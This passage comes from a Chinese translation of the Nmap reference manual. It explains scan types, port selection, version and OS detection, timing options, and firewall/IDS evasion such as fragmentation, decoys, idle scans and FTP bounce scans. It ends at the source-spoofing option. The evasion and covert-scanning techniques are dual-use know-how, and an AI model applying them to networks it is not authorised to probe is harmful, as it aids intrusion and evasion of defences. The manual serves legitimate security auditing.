    当SYN扫描不能用时,CP Connect()扫描就是默认的TCP扫描。当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。与大多数写入原始报文的其他扫描类型相反,Nmap通过创建connect()系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。Nmap用该API获得每个连接尝试的状态信息,而不是读取响应的原始报文。

    当SYN扫描可用时,它通常是更好的选择。因为Nmap对高层的connect()调用比对原始报文控制更少,所以前者效率较低。该系统调用完全连接到开放的目标端口而不是像SYN扫描进行半开放的复位。这不仅花更长时间,需要更多报文得到同样信息,目标机也更可能记录下连接。IDS(入侵检测系统)可以捕获两者,但大部分机器没有这样的警报系统。当Nmap连接,然后不发送数据又关闭连接,许多普通UNIX系统上的服务会在syslog留下记录,有时候是一条加密的错误消息。此时,有些真正可怜的服务会崩溃,虽然这不常发生。如果管理员在日志里看到来自同一系统的一堆连接尝试,她应该知道她的系统被扫描了。

    -sU (UDP扫描)

    虽然互联网上很多流行的服务运行在TCP协议上,UDP服务也不少。DNS,SNMP,和DHCP(注册的端口是53,161/162,和67/68)是最常见的三个。因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。所幸,Nmap可以帮助记录并报告UDP端口。

    UDP扫描用-sU选项激活。它可以和TCP扫描如SYN扫描(-sS)结合使用来同时检查两种协议。

    UDP扫描发送空的(没有数据)UDP报头到每个目标端口。如果返回ICMP端口不可到达错误(类型3,代码3),该端口是closed(关闭的)。其它ICMP不可到达错误(类型3,代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。如果几次重试后还没有响应,该端口就被认为是open|filtered(开放|被过滤的)。这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

    UDP扫描的巨大挑战是怎样使它更快速。开放的和被过滤的端口很少响应,让Nmap超时然后再探测,以防探测帧或者响应丢失。关闭的端口常常是更大的问题。它们一般发回一个ICMP端口无法到达错误。但是不像关闭的TCP端口响应SYN或者Connect扫描所发送的RST报文,许多主机在默认情况下限制ICMP端口不可到达消息。Linux和Solaris对此特别严格。例如,Linux 2.4.20内核限制一秒钟只发送一条目标不可到达消息(见net/ipv4/icmp.c)。

    Nmap探测速率限制并相应地减慢来避免用那些目标机会丢弃的无用报文来阻塞网络。不幸的是,Linux式的一秒钟一个报文的限制使65,536个端口的扫描要花18小时以上。加速UDP扫描的方法包括并发扫描更多的主机,先只对主要端口进行快速扫描,从防火墙后面扫描,使用--host-timeout跳过慢速的主机。

    -sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)

    这三种扫描类型(甚至用下一节描述的--scanflags选项的更多类型)在TCP RFC中发掘了一个微妙的方法来区分open(开放的)和closed(关闭的)端口。第65页说“如果[目标]端口状态是关闭的….进入的不含RST的报文导致一个RST响应。”接下来的一页讨论不设置SYN,RST,或者ACK位的报文发送到开放端口:“理论上,这不应该发生,如果您确实收到了,丢弃该报文,返回。”

    如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致一个RST返回,而当端口开放时,应该没有任何响应。只要不包含SYN,RST,或者ACK,任何其它三种(FIN,PSH,and URG)的组合都行。Nmap有三种扫描类型利用这一点:

    • Null扫描 (-sN) :不设置任何标志位(tcp标志头是0)
    • FIN扫描 (-sF) :只设置TCP FIN标志位。
    • Xmas扫描 (-sX):设置FIN,PSH,和URG标志位,就像点亮圣诞树上所有的灯一样。

    除了探测报文的标志位不同,这三种扫描在行为上完全一致。如果收到一个RST报文,该端口被认为是closed(关闭的),而没有响应则意味着端口是open|filtered(开放或者被过滤的)。如果收到ICMP不可到达错误(类型3,代号1,2,3,9,10或者13),该端口就被标记为被过滤的

    这些扫描的关键优势是它们能躲过一些无状态防火墙和报文过滤路由器。另一个优势是这些扫描类型甚至比SYN扫描还要隐秘一些。但是别依赖它–多数现代的IDS产品可以发现它们。一个很大的不足是并非所有系统都严格遵循RFC 793。许多系统不管端口开放还是关闭,都响应RST。这导致所有端口都标记为closed(关闭的)。这样的操作系统主要有Microsoft Windows,许多Cisco设备,BSDI,以及IBMOS/400。但是这种扫描对多数UNIX系统都能工作。这些扫描的另一个不足是它们不能辨别open(开放的)端口和一些特定的filtered(被过滤的)端口,从而返回open|filtered(开放或者被过滤的)

    -sA (TCP ACK扫描)

    这种扫描与目前为止讨论的其它扫描的不同之处在于它不能确定open(开放的)或者open|filtered(开放或者过滤的)端口。它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

    ACK扫描探测报文只设置ACK标志位(除非您使用--scanflags)。当扫描未被过滤的系统时,open(开放的)和closed(关闭的)端口都会返回RST报文。Nmap把它们标记为unfiltered(未被过滤的),意思是ACK报文不能到达,但至于它们是open(开放的)或者closed(关闭的)无法确定。不响应的端口或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10,或者13)的端口,标记为filtered(被过滤的)。

    -sW (TCP窗口扫描)

    除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered,窗口扫描和ACK扫描完全一样。它通过检查返回的RST报文的TCP窗口域做到这一点。在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文)而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为unfiltered,而是根据TCP窗口值是正数还是0,分别把端口标记为open或者closed

    该扫描依赖于互联网上少数系统的实现细节,因此您不能永远相信它。不支持它的系统会通常返回所有端口closed。当然,一台机器没有开放端口也是有可能的。如果大部分被扫描的端口是closed,而一些常见的端口(如22,25,53)是filtered,该系统就非常可疑了。偶尔地,系统甚至会显示恰恰相反的行为。如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口,那么那3个很可能也是开放的端口。

    -sM (TCP Maimon扫描)

    Maimon扫描是用它的发现者Uriel Maimon命名的。他在Phrack Magazine issue #49(November 1996)中描述了这一技术。Nmap在两期后加入了这一技术。这项技术和Null,FIN,以及Xmas扫描完全一样,除了探测报文是FIN/ACK。根据RFC 793 (TCP),无论端口开放或者关闭,都应该对这样的探测响应RST报文。然而,Uriel注意到如果端口开放,许多基于BSD的系统只是丢弃该探测报文。

    --scanflags (定制的TCP扫描)

    真正的Nmap高级用户不需要被这些现成的扫描类型束缚。--scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。让您的创造力流动,躲开那些仅靠本手册添加规则的入侵检测系统!

    --scanflags选项可以是一个数字标记值如9(PSH和FIN),但使用字符名更容易些。只要是URGACKPSHRSTSYNFIN的任何组合就行。例如,--scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。标志位的顺序不重要。

    除了设置需要的标志位,您也可以设置TCP扫描类型(如-sA或者-sF)。那个基本类型告诉Nmap怎样解释响应。例如,SYN扫描认为没有响应意味着filtered端口,而FIN扫描则认为是open|filtered。除了使用您指定的TCP标记位,Nmap会和基本扫描类型一样工作。如果您不指定基本类型,就使用SYN扫描。

    -sI <zombie host[:probeport]> (Idlescan)

    这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描(意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击利用zombie主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。IDS系统将显示扫描来自您指定的zombie机(必须运行并且符合一定的标准)。这种奇妙的扫描类型太复杂了,不能在此完全描述,所以我写一篇非正式的论文[链接]

    除了极端隐蔽(由于它不从真实IP地址发送任何报文),该扫描类型可以建立机器间的基于IP的信任关系。端口列表从zombie主机的角度显示开放的端口。因此您可以尝试用您认为(通过路由器/包过滤规则)可能被信任的zombies扫描目标。

    如果您由于IPID改变希望探测zombie上的特定端口,您可以在zombie主机后加上一个冒号和端口号。否则Nmap会使用默认端口(80)。

    -sO (IP协议扫描)

    IP协议扫描可以让您确定目标机支持哪些IP协议(TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描,既然它遍历的是IP协议号而不是TCP或者UDP端口号。但是它仍使用-p选项选择要扫描的协议号,用正常的端口表格式报告结果,甚至用和真正的端口扫描一样的扫描引擎。因此它和端口扫描非常接近,也被放在这里讨论。

    除了本身很有用,协议扫描还显示了开源软件的力量。尽管基本想法非常简单,我过去从没想过增加这一功能也没收到任何对它的请求。在2000年夏天,Gerhard Rieger孕育了这个想法,写了一个很棒的补丁程序,发送到nmap-hackers邮件列表。我把那个补丁加入了Nmap,第二天发布了新版本。几乎没有商业软件会有用户有足够的热情设计并贡献他们的改进。

    协议扫描以和UDP扫描类似的方式工作。它不是在UDP报文的端口域上循环,而是在IP协议域的8位上循环,发送IP报文头。报文头通常是空的,不包含数据,甚至不包含所申明的协议的正确报文头。TCP,UDP和ICMP是三个例外。它们三个会使用正常的协议头,因为否则某些系统拒绝发送,而且Nmap有函数创建它们。协议扫描不是注意ICMP端口不可到达消息,而是ICMP协议不可到达消息。如果Nmap从目标主机收到任何协议的任何响应,Nmap就把那个协议标记为open。ICMP协议不可到达错误(类型3,代号2)导致协议被标记为closed。其它ICMP不可到达协议(类型3,代号1,3,9,10或者13)导致协议被标记为filtered(虽然同时他们证明ICMP是open)。如果重试之后仍没有收到响应,该协议就被标记为open|filtered

    -b <ftp relay host> (FTP弹跳扫描)

    FTP协议的一个有趣特征(RFC 959)是支持所谓代理ftp连接。它允许用户连接到一台FTP服务器,然后要求文件送到一台第三方服务器。这个特性在很多层次上被滥用,所以许多服务器已经停止支持它了。其中一种就是导致FTP服务器对其它主机端口扫描。只要请求FTP服务器轮流发送一个文件到目标主机上的所感兴趣的端口。错误消息会描述端口是开放还是关闭的。这是绕过防火墙的好方法,因为FTP服务器常常被置于可以访问比Web主机更多其它内部主机的位置。Nmap用-b选项支持ftp弹跳扫描。参数格式是<username>:<password>@<server>:<port><Server>是某个脆弱的FTP服务器的名字或者IP地址。您也许可以省略<username>:<password>,如果服务器上开放了匿名用户(user:anonymous password:-wwwuser@)。端口号(以及前面的冒号)也可以省略,如果<server>使用默认的FTP端口(21)。

    当Nmap1997年发布时,这个弱点被广泛利用,但现在大部分已经被fix了。脆弱的服务器仍然存在,所以如果其它都失败了,这也值得一试。如果您的目标是绕过防火墙,扫描目标网络上的开放的21端口(或者甚至任何ftp服务,如果您用版本探测扫描所有端口),然后对每个尝试弹跳扫描。Nmap会告诉您该主机脆弱与否。如果您只是试着玩Nmap,您不必(事实上,不应该)限制您自己。在您随机地在互联网上寻找脆弱的FTP服务器时,考虑一下系统管理员不太喜欢您这样滥用他们的服务器。

    端口说明和扫描顺序

    除了所有前面讨论的扫描方法,Nmap还提供选项说明哪些端口被扫描以及扫描是随机还是顺序进行。默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services文件中列出的更高的端口在扫描。

    -p <port ranges> (只扫描指定的端口)

    该选项指明您想扫描的端口,覆盖默认值。单个端口和用连字符表示的端口范围(如1-1023)都可以。范围的开始以及/或者结束值可以被省略,分别导致Nmap使用1和65535。所以您可以指定-p-从端口1扫描到65535。如果您特别指定,也可以扫描端口0。对于IP协议扫描(-sO),该选项指定您希望扫描的协议号(0-255)。

    当既扫描TCP端口又扫描UDP端口时,您可以通过在端口号前加上T:或者U:指定协议。协议限定符一直有效您直到指定另一个。例如,参数-p U:53,111,137,T:21-25,80,139,8080将扫描UDP端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描UDP又扫描TCP,您必须指定-sU,以及至少一个TCP扫描类型(如-sS-sF,或者-sT)。如果没有给定协议限定符,端口号会被加到所有协议列表。

    -F (快速 (有限的端口) 扫描)

    只扫描nmap-services文件中的列表。在nmap的nmap-services文件中(对于-sO,是协议文件)指定您想要扫描的端口。这比扫描所有65535个端口快得多。因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描scan(大约1600个端口)速度差别不是很大。如果您用--datadir选项指定您自己的小小的nmap-services文件,差别会很惊人。

    -r (不要按随机顺序扫描端口)

    默认情况下,Nmap按随机顺序扫描端口(除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的,但您也可以指定-r来顺序端口扫描。

    服务和版本探测

    把Nmap指向一个远程机器,它可能告诉您端口25/tcp,80/tcp,和53/udp是开放的。使用包含大约2,200个著名的服务的nmap-services数据库,Nmap可以报告那些端口可能分别对应于一个邮件服务器(SMTP),web服务器(HTTP),和域名服务器(DNS)。这种查询通常是正确的–事实上,绝大多数在TCP端口25监听的守护进程是邮件服务器。然而,您不应该把赌注押在这上面!人们完全可以在一些奇怪的端口上运行服务。

    即使Nmap是对的,假设运行服务的确实是SMTP,HTTP和DNS,那也不是特别多的信息。当为您的公司或者客户作安全评估(或者甚至简单的网络明细清单)时,您确实想知道正在运行什么邮件和域名服务器以及它们的版本。有一个精确的版本号对了解服务器有什么漏洞有巨大帮助。版本探测可以帮您获得该信息。

    在用某种其它类型的扫描方法发现TCP / UDP端口后,版本探测会询问这些端口,确定到底什么服务正在运行。nmap-service-probes数据库包含查询不同服务的探测报文和解析识别响应的匹配表达式。Nmap试图确定服务协议(如ftp,ssh,telnet,http),应用程序名(如ISC Bind,Apache httpd,Solaris telnetd),版本号,主机名,设备类型(如打印机,路由器),操作系统家族(如Windows,Linux)以及其它的细节,如是否可以连接X server,SSH协议版本,或者KaZaA用户名)。当然,并非所有服务都提供所有这些信息。如果Nmap被编译成支持OpenSSL,它将连接到SSL服务器,推测什么服务在加密层后面监听。当发现RPC服务时,Nmap RPC grinder (-sR)会自动被用于确定RPC程序和它的版本号。如果在扫描某个UDP端口后仍然无法确定该端口是开放的还是被过滤的,那么该端口状态就被标记为open|filtered。版本探测将试图从这些端口引发一个响应(就像它对开放端口做的一样),如果成功,就把状态改为开放。open|filtered TCP端口用同样的方法对待。注意Nmap-A选项在其它情况下打开版本探测。有一篇关于版本探测的原理,使用和定制的文章[链接]

    当Nmap从某个服务收到响应,但不能在数据库中找到匹配时,它就打印一个特殊的fingerprint和一个URL给您提交,如果您确实知道什么服务运行在端口。请花两分钟提交您的发现,让每个人受益。由于这些提交,Nmap有350种以上协议如smtp,ftp,http等的大约3,000条模式匹配。

    用下列的选项打开和控制版本探测。

    -sV (版本探测)

    打开版本探测。您也可以用-A同时打开操作系统探测和版本探测。

    --allports (不为版本探测排除任何端口)

    默认情况下,Nmap版本探测会跳过9100 TCP端口,因为一些打印机简单地打印送到该端口的任何数据,这回导致数十页HTTP get请求,二进制SSL会话请求等等被打印出来。这一行为可以通过修改或删除nmap-service-probes 中的Exclude指示符改变,您也可以不理会任何Exclude指示符,指定--allports扫描所有端口

    --version-intensity <intensity> (设置 版本扫描强度)

    当进行版本扫描(-sV)时,nmap发送一系列探测报文,每个报文都被赋予一个1到9之间的值。被赋予较低值的探测报文对大范围的常见服务有效,而被赋予较高值的报文一般没什么用。强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。然而,高强度扫描花更多时间。强度值必须在0和9之间。默认是7。当探测报文通过nmap-service-probes ports指示符注册到目标端口时,无论什么强度水平,探测报文都会被尝试。这保证了DNS探测将永远在任何开放的53端口尝试,SSL探测将在443端口尝试,等等。

    --version-light (打开轻量级模式)

    这是--version-intensity 2的方便的别名。轻量级模式使版本扫描快许多,但它识别服务的可能性也略微小一点。

    --version-all (尝试每个探测)

    --version-intensity 9的别名,保证对每个端口尝试每个探测报文。

    --version-trace (跟踪版本扫描活动)

    这导致Nmap打印出详细的关于正在进行的扫描的调试信息。它是您用--packet-trace所得到的信息的子集。

    -sR (RPC扫描)

    这种方法和许多端口扫描方法联合使用。它对所有被发现开放的TCP/UDP端口执行SunRPC程序NULL命令,来试图确定它们是否RPC端口,如果是,是什么程序和版本号。因此您可以有效地获得和rpcinfo -p一样的信息,即使目标的端口映射在防火墙后面(或者被TCP包装器保护)。Decoys目前不能和RPC scan一起工作。这作为版本扫描(-sV)的一部分自动打开。由于版本探测包括它并且全面得多,-sR很少被需要。

    操作系统探测

    Nmap最著名的功能之一是用TCP/IP协议栈fingerprinting进行远程操作系统探测。Nmap发送一系列TCP和UDP报文到远程主机,检查响应中的每一个比特。在进行一打测试如TCP ISN采样,TCP选项支持和排序,IPID采样,和初始窗口大小检查之后,Nmap把结果和数据库nmap-os-fingerprints中超过1500个已知的操作系统的fingerprints进行比较,如果有匹配,就打印出操作系统的详细信息。每个fingerprint包括一个自由格式的关于OS的描述文本,和一个分类信息,它提供供应商名称(如Sun),下面的操作系统(如Solaris),OS版本(如10),和设备类型(通用设备,路由器,switch,游戏控制台等)。

    如果Nmap不能猜出操作系统,并且有些好的已知条件(如至少发现了一个开放端口和一个关闭端口),Nmap会提供一个URL,如果您确知运行的操作系统,您可以把fingerprint提交到那个URL。这样您就扩大了Nmap的操作系统知识库,从而让每个Nmap用户都受益。

    操作系统检测可以进行其它一些测试,这些测试可以利用处理过程中收集到的信息。例如运行时间检测,使用TCP时间戳选项(RFC 1323)来估计主机上次重启的时间,这仅适用于提供这类信息的主机。另一种是TCP序列号预测分类,用于测试针对远程主机建立一个伪造的TCP连接的可能难度。这对于利用基于源IP地址的可信关系(rlogin,防火墙过滤等)或者隐含源地址的攻击非常重要。这一类哄骗攻击现在很少见,但一些主机仍然存在这方面的漏洞。实际的难度值基于统计采样,因此可能会有一些波动。通常采用英国的分类较好,如“worthy challenge”或者“trivial joke”。在详细模式(-v)下只以普通的方式输出,如果同时使用-O,还报告IPID序列产生号。很多主机的序列号是“增加”类别,即在每个发送包的IP头中增加ID域值,这对一些先进的信息收集和哄骗攻击来说是个漏洞。

    此文档[链接]使用多种语言描述了版本检测的方式、使用和定制。

    采用下列选项启用和控制操作系统检测:

    -O (启用操作系统检测)

    也可以使用-A来同时启用操作系统检测和版本检测。

    --osscan-limit (针对指定的目标进行操作系统检测)

    如果发现一个打开和关闭的TCP端口时,操作系统检测会更有效。采用这个选项,Nmap只对满足这个条件的主机进行操作系统检测,这样可以节约时间,特别在使用-P0扫描多个主机时。这个选项仅在使用-O-A进行操作系统检测时起作用。

    --osscan-guess; --fuzzy (推测操作系统检测结果)

    当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。

    时间和性能

    Nmap开发的最高优先级是性能。在本地网络对一个主机的默认扫描(nmap <hostname>)需要1/5秒。而仅仅眨眼的时间,就需要扫描上万甚至几十万的主机。此外,一些特定的扫描选项会明显增加扫描时间,如UDP扫描和版本检测。同样,防火墙配置以及特殊的响应速度限制也会增加时间。Nmap使用了并行算法和许多先进的算法来加速扫描,用户对Nmap如何工作有最终的控制权。高级用户可以仔细地调整Nmap命令,在满足时间要求的同时获得他们所关心的信息。

    改善扫描时间的技术有:忽略非关键的检测、升级最新版本的Nmap(性能增强不断改善)。优化时间参数也会带来实质性的变化,这些参数如下。

    --min-hostgroup <size>; --max-hostgroup <size> (调整并行扫描组的大小)

    Nmap具有并行扫描多主机端口或版本的能力,Nmap将多个目标IP地址空间分成组,然后在同一时间对一个组进行扫描。通常,大的组更有效。缺点是只有当整个组扫描结束后才会提供主机的扫描结果。如果组的大小定义为50,则只有当前50个主机扫描结束后才能得到报告(详细模式中的补充信息除外)。

    默认方式下,Nmap采取折衷的方法。开始扫描时的组较小,最小为5,这样便于尽快产生结果;随后增长组的大小,最大为1024。确切的大小依赖于所给定的选项。为保证效率,针对UDP或少量端口的TCP扫描,Nmap使用大的组。

    --max-hostgroup选项用于说明使用最大的组,Nmap不会超出这个大小。--min-hostgroup选项说明最小的组,Nmap会保持组大于这个值。如果在指定的接口上没有足够的目标主机来满足所指定的最小值,Nmap可能会采用比所指定的值小的组。这两个参数虽然很少使用,但都用于保持组的大小在一个指定的范围之内。

    这些选项的主要用途是说明一个最小组的大小,使得整个扫描更加快速。通常选择256来扫描C类网段。对于端口数较多的扫描,超出该值没有意义。对于端口数较少的扫描,2048或更大的组大小是有帮助的。

    --min-parallelism <numprobes>; --max-parallelism <numprobes> (调整探测报文的并行度)

    这些选项控制用于主机组的探测报文数量,可用于端口扫描和主机发现。默认状态下,Nmap基于网络性能计算一个理想的并行度,这个值经常改变。如果报文被丢弃,Nmap降低速度,探测报文数量减少。随着网络性能的改善,理想的探测报文数量会缓慢增加。这些选项确定这个变量的大小范围。默认状态下,当网络不可靠时,理想的并行度值可能为1,在好的条件下,可能会增长至几百。

    最常见的应用是--min-parallelism值大于1,以加快性能不佳的主机或网络的扫描。这个选项具有风险,如果过高则影响准确度,同时也会降低Nmap基于网络条件动态控制并行度的能力。这个值设为10较为合适,这个值的调整往往作为最后的手段。

    --max-parallelism选项通常设为1,以防止Nmap在同一时间向主机发送多个探测报文,和选择--scan-delay同时使用非常有用,虽然这个选项本身的用途已经很好。

    --min-rtt-timeout <milliseconds>, --max-rtt-timeout <milliseconds>, --initial-rtt-timeout <milliseconds> (调整探测报文超时)

    Nmap使用一个运行超时值来确定等待探测报文响应的时间,随后会放弃或重新发送探测报文。Nmap基于上一个探测报文的响应时间来计算超时值,如果网络延迟比较显著和不定,这个超时值会增加几秒。初始值的比较保守(高),而当Nmap扫描无响应的主机时,这个保守值会保持一段时间。

    这些选项以毫秒为单位,采用小的--max-rtt-timeout值,使--initial-rtt-timeout值大于默认值可以明显减少扫描时间,特别是对不能ping通的扫描(-P0)以及具有严格过滤的网络。如果使用太小的值,使得很多探测报文超时从而重新发送,而此时可能响应消息正在发送,这使得整个扫描的时间会增加。

    如果所有的主机都在本地网络,对于--max-rtt-timeout值来说,100毫秒比较合适。如果存在路由,首先使用ICMP ping工具ping主机,或使用其它报文工具如hpings,可以更好地穿透防火墙。查看大约10个包的最大往返时间,然后将--initial-rtt-timeout设成这个时间的2倍,--max-rtt-timeout可设成这个时间值的3倍或4倍。通常,不管ping的时间是多少,最大的rtt值不得小于100ms,不能超过1000ms。

    --min-rtt-timeout这个选项很少使用,当网络不可靠时,Nmap的默认值也显得过于强烈,这时这个选项可起作用。当网络看起来不可靠时,Nmap仅将超时时间降至最小值,这个情况是不正常的,需要向nmap-dev邮件列表报告bug。

    --host-timeout <milliseconds> (放弃低速目标主机)

    由于性能较差或不可靠的网络硬件或软件、带宽限制、严格的防火墙等原因,一些主机需要很长的时间扫描。这些极少数的主机扫描往往占据了大部分的扫描时间。因此,最好的办法是减少时间消耗并且忽略这些主机,使用--host-timeout选项来说明等待的时间(毫秒)。通常使用1800000来保证Nmap不会在单个主机上使用超过半小时的时间。需要注意的是,Nmap在这半小时中可以同时扫描其它主机,因此并不是完全放弃扫描。超时的主机被忽略,因此也没有针对该主机的端口表、操作系统检测或版本检测结果的输出。

    --scan-delay <milliseconds>; --max-scan-delay <milliseconds> (调整探测报文的时间间隔)

    这个选项用于Nmap控制针对一个主机发送探测报文的等待时间(毫秒),在带宽控制的情况下这个选项非常有效。Solaris主机在响应UDP扫描探测报文报文时,每秒只发送一个ICMP消息,因此Nmap发送的很多数探测报文是浪费的。--scan-delay设为1000,使Nmap低速运行。Nmap尝试检测带宽控制并相应地调整扫描的延迟,但并不影响明确说明何种速度工作最佳。--scan-delay的另一个用途是躲闭基于阈值的入侵检测和预防系统(IDS/IPS)

    -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> (设置时间模板)

    上述优化时间控制选项的功能很强大也很有效,但有些用户会被迷惑。此外,往往选择合适参数的时间超过了所需优化的扫描时间。因此,Nmap提供了一些简单的方法,使用6个时间模板,使用时采用-T选项及数字(0 – 5)或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)。前两种模式用于IDS躲避,Polite模式降低了扫描速度以使用更少的带宽和目标主机资源。默认模式为Normal,因此-T3实际上是未做任何优化。Aggressive模式假设用户具有合适及可靠的网络从而加速扫描。Insane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。

    用户可以根据自己的需要选择不同的模板,由Nmap负责选择实际的时间值。模板也会针对其它的优化控制选项进行速度微调。例如,-T4针对TCP端口禁止动态扫描延迟超过10ms,-T5对应的值为5ms。模板可以和优化调整控制选项组合使用,但模板必须首先指定,否则模板的标准值会覆盖用户指定的值。建议在扫描可靠的网络时使用-T4,即使在自己要增加优化控制选项时也使用(在命令行的开始),从而从这些额外的较小的优化中获益。

    如果用于有足够的带宽或以太网连接,仍然建议使用-T4选项。有些用户喜欢-T5选项,但这个过于强烈。有时用户考虑到避免使主机崩溃或者希望更礼貌一些会采用-T2选项。他们并没意识到-T Polite选项是如何的慢,这种模式的扫描比默认方式实际上要多花10倍的时间。默认时间选项(-T3)很少有主机崩溃和带宽问题,比较适合于谨慎的用户。不进行版本检测比进行时间调整能更有效地解决这些问题。

    虽然-T0-T1选项可能有助于避免IDS告警,但在进行上千个主机或端口扫描时,会显著增加时间。对于这种长时间的扫描,宁可设定确切的时间值,而不要去依赖封装的-T0-T1选项

    T0选项的主要影响是对于连续扫描,在一个时间只能扫描一个端口,每个探测报文的发送间隔为5分钟。T1T2选项比较类似,探测报文间隔分别为15秒和0.4秒。T3是Nmap的默认选项,包含了并行扫描。T4选项与--max-rtt-timeout 1250 --initial-rtt-timeout 500等价,最大TCP扫描延迟为10ms。T5等价于--max-rtt-timeout 300 --min-rtt-timeout 50 --initial-rtt-timeout 250 --host-timeout 900000,最大TCP扫描延迟为5ms。

    防火墙/IDS躲避和哄骗

    很多Internet先驱们设想了一个全球开放的网络,使用全局的IP地址空间,使得任何两个节点之间都有虚拟连接。这使得主机间可以作为真正的对等体,相互间提供服务和获取信息。人们可以在工作时访问家里所有的系统、调节空调温度、为提前到来的客人开门。随后,这些全球连接的设想受到了地址空间短缺和安全考虑的限制。在90年代早期,各种机构开始部署防火墙来实现减少连接的目的,大型网络通过代理、NAT和包过滤器与未过滤的Internet隔离。不受限的信息流被严格控制的可信通信通道信息流所替代。

    类似防火墙的网络隔离使得对网络的搜索更加困难,随意的搜索变得不再简单。然而,Nmap提供了很多特性用于理解这些复杂的网络,并且检验这些过滤器是否正常工作。此外,Nmap提供了绕过某些较弱的防范机制的手段。检验网络安全状态最有效的方法之一是尝试哄骗网络,将自己想象成一个攻击者,使用本节提供的技术来攻击自己的网络。如使用FTP bounce扫描、Idle扫描、分片攻击或尝试穿透自己的代理。

    除限制网络的行为外,使用入侵检测系统(IDS)的公司也不断增加。由于Nmap常用于攻击前期的扫描,因此所有主流的IDS都包含了检测Nmap扫描的规则。现在,这些产品变形为入侵预防系统(IPS),可以主动地阻止可疑的恶意行为。不幸的是,网络管理员和IDS厂商通过分析报文来检测恶意行为是一个艰苦的工作,有耐心和技术的攻击者,在特定Nmap选项的帮助下,常常可以不被IDS检测到。同时,管理员必须应付大量的误报结果,正常的行为被误判而被改变或阻止。

    有时,人们建议Nmap不应该提供躲闭防火墙规则或哄骗IDS的功能,这些功能可能会被攻击者滥用,然而管理员却可以利用这些功能来增强安全性。实际上,攻击的方法仍可被攻击者利用,他们可以发现其它工具或Nmap的补丁程序。同时,管理员发现攻击者的工作更加困难,相比较采取措施来预防执行FTP Bounce攻击的工具而言,部署先进的、打过补丁的FTP服务器更加有效。

    Nmap不提供检测和破坏防火墙及IDS系统的魔弹(或Nmap选项),它使用的是技术和经验,这超出了本参考手册的范围,下面描述了相关的选项和完成的工作。

    -f (报文分段); --mtu (使用指定的MTU)

    -f选项要求扫描时(包挺ping扫描)使用小的IP包分段。其思路是将TCP头分段在几个包中,使得包过滤器、IDS以及其它工具的检测更加困难。必须小心使用这个选项,有些系统在处理这些小包时存在问题,例如旧的网络嗅探器Sniffit在接收到第一个分段时会立刻出现分段错误。该选项使用一次,Nmap在IP头后将包分成8个字节或更小。因此,一个20字节的TCP头会被分成3个包,其中2个包分别有TCP头的8个字节,另1个包有TCP头的剩下4个字节。当然,每个包都有一个IP头。再次使用-f可使用16字节的分段(减少分段数量)。使用--mtu选项可以自定义偏移的大小,使用时不需要-f,偏移量必须是8的倍数。包过滤器和防火墙对所有的IP分段排队,如Linux核心中的CONFIG-IP-ALWAYS-DEFRAG配置项,分段包不会直接使用。一些网络无法承受这样所带来的性能冲击,会将这个配置禁止。其它禁止的原因有分段包会通过不同的路由进入网络。一些源系统在内核中对发送的报文进行分段,使用iptables连接跟踪模块的Linux就是一个例子。当使用类似Ethereal的嗅探器时,扫描必须保证发送的报文要分段。如果主机操作系统会产生问题,尝试使用--send-eth选项以避开IP层而直接发送原始的以太网帧。

    -D <decoy1 [,decoy2][,ME],...> (使用诱饵隐蔽扫描)

    为使诱饵扫描起作用,需要使远程主机认为是诱饵在扫描目标网络。IDS可能会报个某个IP的5-10个端口扫描,但并不知道哪个IP在扫描以及哪些不是诱饵。但这种方式可以通过路由跟踪、响应丢弃以及其它主动机制在解决。这是一种常用的隐藏自身IP地址的有效技术。

    使用逗号分隔每个诱饵主机,也可用自己的真实IP作为诱饵,这时可使用ME选项说明。如果在第6个位置或更后的位置使用ME选项,一些常用端口扫描检测器(如Solar Designer’s excellent scanlogd)就不会报告这个真实IP。如果不使用ME选项,Nmap将真实IP放在一个随机的位置

    注意,作为诱饵的主机须在工作状态,否则会导致目标主机的SYN洪水攻击。如果在网络中只有一个主机在工作,那就很容易确定哪个主机在扫描。也可使用IP地址代替主机名(被诱骗的网络就不可能在名字服务器日志中发现)。

    诱饵可用在初始的ping扫描(ICMP、SYN、ACK等)阶段或真正的端口扫描阶段。诱饵也可以用于远程操作系统检测(-O)。在进行版本检测或TCP连接扫描时,诱饵无效。

    使用过多的诱饵没有任何价值,反而导致扫描变慢并且结果不准确。此外,一些ISP会过滤哄骗的报文,但很多对欺骗IP包没有任何限制。

    -S <IP_Address> (源地址哄骗)

